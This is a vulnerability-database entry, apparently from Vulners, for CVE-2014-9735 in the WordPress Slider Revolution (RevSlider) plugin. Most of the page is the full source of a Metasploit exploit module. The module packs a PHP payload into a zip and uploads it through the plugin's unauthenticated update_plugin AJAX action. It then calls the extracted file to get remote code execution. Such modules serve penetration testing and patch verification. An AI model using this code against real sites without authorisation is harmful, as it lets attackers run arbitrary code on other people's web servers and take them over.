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WordPress RevSlider File Upload and Execute Vulnerability

🗓️ 26 Nov 2014 00:00:00Reported by Simo Ben youssef, Tom Sellers <[email protected]>Type 
metasploit
 metasploit
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This module exploits an arbitrary PHP code upload vulnerability in the WordPress ThemePunch Slider Revolution (RevSlider) plugin, allowing for arbitrary file upload and remote code execution

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##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HTTP::Wordpress
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'WordPress RevSlider File Upload and Execute Vulnerability',
        'Description' => %q{
          This module exploits an arbitrary PHP code upload vulnerability in the
          WordPress ThemePunch Slider Revolution (RevSlider) plugin, versions 3.0.95
          and prior. The vulnerability allows for arbitrary file upload and remote code execution.
        },
        'Author' => [
          'Simo Ben youssef', # Vulnerability discovery
          'Tom Sellers <tom[at]fadedcode.net>' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2014-9735'],
          ['OSVDB', '115118'],
          ['EDB', '35385'],
          ['WPVDB', '7954'],
          ['URL', 'https://whatisgon.wordpress.com/2014/11/30/another-revslider-vulnerability/']
        ],
        'Privileged' => false,
        'Platform' => 'php',
        'Arch' => ARCH_PHP,
        'Targets' => [['ThemePunch Revolution Slider (revslider) 3.0.95', {}]],
        'DisclosureDate' => '2014-11-26',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )
  end

  def check
    release_log_url = normalize_uri(wordpress_url_plugins, 'revslider', 'release_log.txt')
    check_version_from_custom_file(release_log_url, /^\s*(?:version)\s*(\d{1,2}\.\d{1,2}(?:\.\d{1,2})?).*$/mi, '3.0.96')
  end

  def exploit
    php_pagename = rand_text_alpha(4 + rand(4)) + '.php'

    # Build the zip
    payload_zip = Rex::Zip::Archive.new
    # If the filename in the zip is revslider.php it will be automatically
    # executed but it will break the plugin and sometimes WordPress
    payload_zip.add_file('revslider/' + php_pagename, payload.encoded)

    # Build the POST body
    data = Rex::MIME::Message.new
    data.add_part('revslider_ajax_action', nil, nil, 'form-data; name="action"')
    data.add_part('update_plugin', nil, nil, 'form-data; name="client_action"')
    data.add_part(payload_zip.pack, 'application/x-zip-compressed', 'binary', "form-data; name=\"update_file\"; filename=\"revslider.zip\"")
    post_data = data.to_s

    res = send_request_cgi(
      'uri' => wordpress_url_admin_ajax,
      'method' => 'POST',
      'ctype' => "multipart/form-data; boundary=#{data.bound}",
      'data' => post_data
    )

    if res
      if res.code == 200 && res.body =~ /Update in progress/
        # The payload itself almost never deleted, try anyway
        register_files_for_cleanup(php_pagename)
        # This normally works
        register_files_for_cleanup('../revslider.zip')
        final_uri = normalize_uri(wordpress_url_plugins, 'revslider', 'temp', 'update_extract', 'revslider', php_pagename)
        print_good("Our payload is at: #{final_uri}")
        print_status("Calling payload...")
        send_request_cgi(
          'uri' => normalize_uri(final_uri),
          'timeout' => 5
        )
      elsif res.code == 200 && res.body =~ /^0$/
        # admin-ajax.php returns 0 if the 'action' 'revslider_ajax_action' is unknown
        fail_with(Failure::NotVulnerable, "#{peer} - Target not vulnerable or the plugin is deactivated")
      else
        fail_with(Failure::UnexpectedReply, "#{peer} - Unable to deploy payload, server returned #{res.code}")
      end
    else
      fail_with(Failure::Unknown, 'ERROR')
    end
  end
end

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26 Nov 2014 00:00Current
5.8Medium risk
Vulners AI Score5.8
CVSS 27.5
EPSS0.75701
61